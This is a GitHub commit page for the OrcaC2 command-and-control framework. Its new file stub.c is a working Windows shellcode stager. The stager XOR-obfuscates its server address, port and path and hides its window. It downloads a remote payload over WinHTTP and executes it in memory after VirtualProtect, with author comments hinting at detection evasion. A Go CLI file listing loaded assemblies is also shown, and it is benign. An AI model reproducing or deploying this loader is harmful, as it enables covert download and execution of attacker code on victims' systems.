Skip to content

Commit 8246701

Browse files
PtkatzPtkatz
committed
OrcaC2 1.10.1
1 parent 8e0e14e commit 8246701

File tree

238 files changed

+22951
-22379
lines changed

Some content is hidden

Large Commits have some content hidden by default. Use the searchbox below for content that may be hidden.

238 files changed

+22951
-22379
lines changed

‎LICENSE‎

Lines changed: 674 additions & 674 deletions
Large diffs are not rendered by default.

‎Orca_Loader/windows/lib/x64/winhttp.lib‎

19.1 KB
Binary file not shown.

‎Orca_Loader/windows/lib/x86/winhttp.lib‎

19.4 KB
Binary file not shown.

‎Orca_Loader/windows/stub.c‎

Lines changed: 192 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,192 @@
1+
#ifndef WIN32_LEAN_AND_MEAN
2+
#define WIN32_LEAN_AND_MEAN
3+
#endif
4+
5+
#define KEY 24
6+
7+
#include <windows.h>
8+
#include <stdio.h>
9+
#include <stdlib.h>
10+
#include <winhttp.h>
11+
#include <string.h>
12+
13+
#pragma comment(lib, "winhttp.lib")
14+
15+
#pragma optimize("", off)
16+
char strPort[] = { 46, 45, 45, 43, 45 };
17+
char http_https[] = { 112, 108, 108, 104, 107, 119, 106, 112, 108, 108, 104, 41, 42, 43 };
18+
char addr[] = { 42, 45, 45, 54, 42, 45, 45, 54, 42, 45, 45, 54, 42, 45, 45 };
19+
char target[] = { 126, 113, 116, 125, 107, 55, 116, 119, 121, 124, 125, 106, 41, 42, 43, 44, 45, 46, 47, 32, 33, 40, 121, 122, 123, 124, 125, 126, 127, 112, 113, 114, 115, 116, 117, 118, 119, 104, 105, 106, 107, 108, 109, 110, 111, 96, 97, 98, 54, 122, 113, 118 };
20+
#pragma optimize("", on)
21+
22+
// xor
23+
void doxor(char* plain)
24+
{
25+
DWORD dw_size = strlen(plain);
26+
for (int i = 0; i < dw_size; i++)
27+
{
28+
plain[i] ^= KEY;
29+
}
30+
}
31+
32+
void init()
33+
{
34+
doxor(strPort);
35+
doxor(http_https);
36+
doxor(addr);
37+
doxor(target);
38+
}
39+
40+
//Store byte length of download
41+
long sc_len;
42+
43+
//Fill buf with data from request, return new size of the buf
44+
void readfromreq(char** buf, long iSize, HINTERNET con)
45+
{
46+
DWORD gatesMagic;
47+
long toRead = 0;
48+
if (!WinHttpQueryDataAvailable(con, &toRead))
49+
printf("[-] Error %u in checking bytes left\n", GetLastError());
50+
51+
if (toRead == 0)
52+
{
53+
sc_len = iSize;
54+
printf("[+] Read %d bytes\n", iSize);
55+
return;
56+
}
57+
58+
printf("[+] Current size: %d, To Read: %d\n", iSize, toRead);
59+
60+
//If null create buffer of bytes to read
61+
if (*buf == NULL)
62+
{
63+
*buf = (char*)malloc(toRead + 1);
64+
ZeroMemory(*buf, toRead + 1);
65+
}//If does exist we want to make buffer bigger not create a new one
66+
else
67+
{
68+
*buf = (char*)realloc(*buf, iSize + toRead + 1);
69+
ZeroMemory(*buf + iSize, toRead + 1);
70+
}
71+
//Reading contents into the buffer with error checking
72+
if (!WinHttpReadData(con, (LPVOID)(*buf + iSize), toRead, &gatesMagic))
73+
{
74+
printf("[-] Error %u in WinHttpReadData.\n", GetLastError());
75+
}
76+
77+
readfromreq(buf, iSize + toRead, con);
78+
}
79+
80+
//Make web request
81+
char* dohttpreq(LPCWSTR addr, INTERNET_PORT port, LPCWSTR target, char* http)
82+
{
83+
BOOL bResults = FALSE;
84+
HINTERNET hSession = NULL,
85+
hConnect = NULL,
86+
hRequest = NULL;
87+
88+
char* out = NULL;
89+
90+
//Use WinHttpOpen to obtain a session handle.
91+
hSession = WinHttpOpen(L"orca/1.0",
92+
WINHTTP_ACCESS_TYPE_DEFAULT_PROXY,
93+
WINHTTP_NO_PROXY_NAME,
94+
WINHTTP_NO_PROXY_BYPASS, 0);//Hmmm, cshot/1.0 seems odd. I would look into that ;)
95+
96+
//Specify an HTTP server.
97+
if (hSession)
98+
hConnect = WinHttpConnect(hSession, addr, port, 0);
99+
100+
//Create an HTTP Request handle
101+
if (hConnect)
102+
{
103+
hRequest = WinHttpOpenRequest(hConnect, L"GET",
104+
target,
105+
NULL, WINHTTP_NO_REFERER,
106+
WINHTTP_DEFAULT_ACCEPT_TYPES,
107+
strcmp(http, "https") == 0 ? WINHTTP_FLAG_SECURE : NULL);//WINHTTP_FLAG_SECURE makes secure connection
108+
}
109+
else
110+
{
111+
printf("[-] Failed to connect to server\n");
112+
}
113+
114+
//Send a Request.
115+
if (hRequest)
116+
bResults = WinHttpSendRequest(hRequest,
117+
WINHTTP_NO_ADDITIONAL_HEADERS,
118+
0, WINHTTP_NO_REQUEST_DATA, 0,
119+
0, 0);
120+
else
121+
{
122+
printf("[-] Failed to connect to server\n");
123+
}
124+
125+
if (bResults)
126+
bResults = WinHttpReceiveResponse(hRequest, NULL);
127+
else
128+
printf("[-] Error %d has occurred.\n", GetLastError());
129+
130+
if (bResults)
131+
{
132+
printf("[+] About to fill buffer\n");
133+
readfromreq(&out, 0, hRequest);
134+
}
135+
else
136+
printf("[-] Error %d has occurred.\n", GetLastError());
137+
138+
//Close open handles.
139+
if (hRequest) WinHttpCloseHandle(hRequest);
140+
if (hConnect) WinHttpCloseHandle(hConnect);
141+
if (hSession) WinHttpCloseHandle(hSession);
142+
printf("[+] Finished reading file\n");
143+
144+
return out;
145+
}
146+
147+
void HideWindow()
148+
{
149+
HWND hwnd = GetForegroundWindow();
150+
if (hwnd)
151+
{
152+
ShowWindow(hwnd, SW_HIDE);
153+
}
154+
}
155+
156+
int main()
157+
{
158+
HideWindow();
159+
init();
160+
BOOL success;
161+
DWORD dummy = 0;
162+
DWORD port = atoi(strPort);
163+
164+
size_t convertedChars;
165+
size_t wideSize;
166+
167+
convertedChars = 0;
168+
wideSize = strlen(addr) + 1;
169+
wchar_t* w_addr = (wchar_t*)malloc(wideSize * sizeof(wchar_t));
170+
mbstowcs_s(&convertedChars, w_addr, wideSize, addr, _TRUNCATE);
171+
172+
convertedChars = 0;
173+
wideSize = strlen(target) + 1;
174+
wchar_t* w_target = (wchar_t*)malloc(wideSize * sizeof(wchar_t));
175+
mbstowcs_s(&convertedChars, w_target, wideSize, target, _TRUNCATE);
176+
177+
char* sc = dohttpreq(w_addr, port, w_target, http_https);
178+
179+
// printf("[+] Injecting shellcode into own process\n");
180+
181+
//Mark as executable
182+
success = VirtualProtect(sc, sc_len, PAGE_EXECUTE_READWRITE, &dummy); //I would look into changing this if I were you ;)
183+
if (success == 0)
184+
{
185+
// printf("[-] VirtualProtect error = %u\n", GetLastError());
186+
return 0;
187+
}
188+
//Execute
189+
// printf("[+] Executing...\n");
190+
((void(*)())sc)();
191+
return 0;
192+
}

‎Orca_Master/.orca-history‎

Lines changed: 0 additions & 1 deletion
This file was deleted.

‎Orca_Master/cli/cmdopt/assemblyopt/listassembly.go‎

Lines changed: 84 additions & 84 deletions
Original file line numberDiff line numberDiff line change
@@ -1,84 +1,84 @@
1-
package assemblyopt
2-
3-
import (
4-
"Orca_Master/cli/common"
5-
"Orca_Master/define/colorcode"
6-
"encoding/json"
7-
"github.com/olekukonko/tablewriter"
8-
"gopkg.in/yaml.v2"
9-
"io/ioutil"
10-
"os"
11-
"path/filepath"
12-
"strconv"
13-
"strings"
14-
)
15-
16-
type AssemblyYaml struct {
17-
AssemblyStructs []AssemblyStruct `yaml:"assembly"`
18-
}
19-
20-
type AssemblyStruct struct {
21-
Id int `yaml:"id"`
22-
Name string `yaml:"name"`
23-
Description string `yaml:"description"`
24-
Author string `yaml:"author"`
25-
Loaded string
26-
}
27-
28-
func ReadYamlFile(yamlPath string) AssemblyYaml {
29-
var assemblyYaml AssemblyYaml
30-
yamlFile, err := ioutil.ReadFile(yamlPath)
31-
if err != nil {
32-
return AssemblyYaml{}
33-
}
34-
err = yaml.UnmarshalStrict(yamlFile, &assemblyYaml)
35-
if err != nil {
36-
return AssemblyYaml{}
37-
}
38-
return assemblyYaml
39-
}
40-
41-
func PrintTable(assemblyStructs []AssemblyStruct) {
42-
var data [][]string
43-
table := tablewriter.NewWriter(os.Stdout)
44-
table.SetHeader([]string{"id", "name", "description", "author", "loaded"})
45-
table.SetBorders(tablewriter.Border{Left: false, Top: false, Right: false, Bottom: false})
46-
table.SetColWidth(48)
47-
for i, assemblyStruct := range assemblyStructs {
48-
data = append(data, []string{strconv.Itoa(i + 1), assemblyStruct.Name, assemblyStruct.Description, assemblyStruct.Author, colorcode.Colorf(colorcode.COLOR_PURPLE, assemblyStruct.Loaded)})
49-
}
50-
51-
for _, raw := range data {
52-
table.Append(raw)
53-
}
54-
table.Render()
55-
}
56-
57-
func SettleLoadedAssembly(msg string) []AssemblyStruct {
58-
var assemblyNames []string
59-
// 打印程序集列表
60-
exist := false
61-
yamlFile, _ := filepath.Abs("3rd_party/windows/csharp/assembly.yaml")
62-
assemblyYaml := ReadYamlFile(yamlFile)
63-
_, _, data := common.SettleRetDataBt(msg)
64-
json.Unmarshal(data, &assemblyNames)
65-
for i, _ := range assemblyYaml.AssemblyStructs {
66-
for _, name := range assemblyNames {
67-
if strings.ToLower(assemblyYaml.AssemblyStructs[i].Name+".exe") == name {
68-
assemblyYaml.AssemblyStructs[i].Loaded = "loaded"
69-
exist = true
70-
}
71-
}
72-
}
73-
if !exist {
74-
for i, name := range assemblyNames {
75-
n := len(assemblyYaml.AssemblyStructs)
76-
x := n + i - 1
77-
assemblyYaml.AssemblyStructs[x].Id = x
78-
assemblyYaml.AssemblyStructs[x].Name = name
79-
assemblyYaml.AssemblyStructs[x].Author = "Unknown"
80-
assemblyYaml.AssemblyStructs[x].Loaded = "loaded"
81-
}
82-
}
83-
return assemblyYaml.AssemblyStructs
84-
}
1+
package assemblyopt
2+
3+
import (
4+
"Orca_Master/cli/common"
5+
"Orca_Master/define/colorcode"
6+
"encoding/json"
7+
"github.com/olekukonko/tablewriter"
8+
"gopkg.in/yaml.v2"
9+
"io/ioutil"
10+
"os"
11+
"path/filepath"
12+
"strconv"
13+
"strings"
14+
)
15+
16+
type AssemblyYaml struct {
17+
AssemblyStructs []AssemblyStruct `yaml:"assembly"`
18+
}
19+
20+
type AssemblyStruct struct {
21+
Id int `yaml:"id"`
22+
Name string `yaml:"name"`
23+
Description string `yaml:"description"`
24+
Author string `yaml:"author"`
25+
Loaded string
26+
}
27+
28+
func ReadYamlFile(yamlPath string) AssemblyYaml {
29+
var assemblyYaml AssemblyYaml
30+
yamlFile, err := ioutil.ReadFile(yamlPath)
31+
if err != nil {
32+
return AssemblyYaml{}
33+
}
34+
err = yaml.UnmarshalStrict(yamlFile, &assemblyYaml)
35+
if err != nil {
36+
return AssemblyYaml{}
37+
}
38+
return assemblyYaml
39+
}
40+
41+
func PrintTable(assemblyStructs []AssemblyStruct) {
42+
var data [][]string
43+
table := tablewriter.NewWriter(os.Stdout)
44+
table.SetHeader([]string{"id", "name", "description", "author", "loaded"})
45+
table.SetBorders(tablewriter.Border{Left: false, Top: false, Right: false, Bottom: false})
46+
table.SetColWidth(48)
47+
for i, assemblyStruct := range assemblyStructs {
48+
data = append(data, []string{strconv.Itoa(i + 1), assemblyStruct.Name, assemblyStruct.Description, assemblyStruct.Author, colorcode.Colorf(colorcode.COLOR_PURPLE, assemblyStruct.Loaded)})
49+
}
50+
51+
for _, raw := range data {
52+
table.Append(raw)
53+
}
54+
table.Render()
55+
}
56+
57+
func SettleLoadedAssembly(msg string) []AssemblyStruct {
58+
var assemblyNames []string
59+
// 打印程序集列表
60+
exist := false
61+
yamlFile, _ := filepath.Abs("3rd_party/windows/csharp/assembly.yaml")
62+
assemblyYaml := ReadYamlFile(yamlFile)
63+
_, _, data := common.SettleRetDataBt(msg)
64+
json.Unmarshal(data, &assemblyNames)
65+
for i, _ := range assemblyYaml.AssemblyStructs {
66+
for _, name := range assemblyNames {
67+
if strings.ToLower(assemblyYaml.AssemblyStructs[i].Name+".exe") == name {
68+
assemblyYaml.AssemblyStructs[i].Loaded = "loaded"
69+
exist = true
70+
}
71+
}
72+
}
73+
if !exist {
74+
for i, name := range assemblyNames {
75+
n := len(assemblyYaml.AssemblyStructs)
76+
x := n + i - 1
77+
assemblyYaml.AssemblyStructs[x].Id = x
78+
assemblyYaml.AssemblyStructs[x].Name = name
79+
assemblyYaml.AssemblyStructs[x].Author = "Unknown"
80+
assemblyYaml.AssemblyStructs[x].Loaded = "loaded"
81+
}
82+
}
83+
return assemblyYaml.AssemblyStructs
84+
}

0 commit comments

Comments
 (0)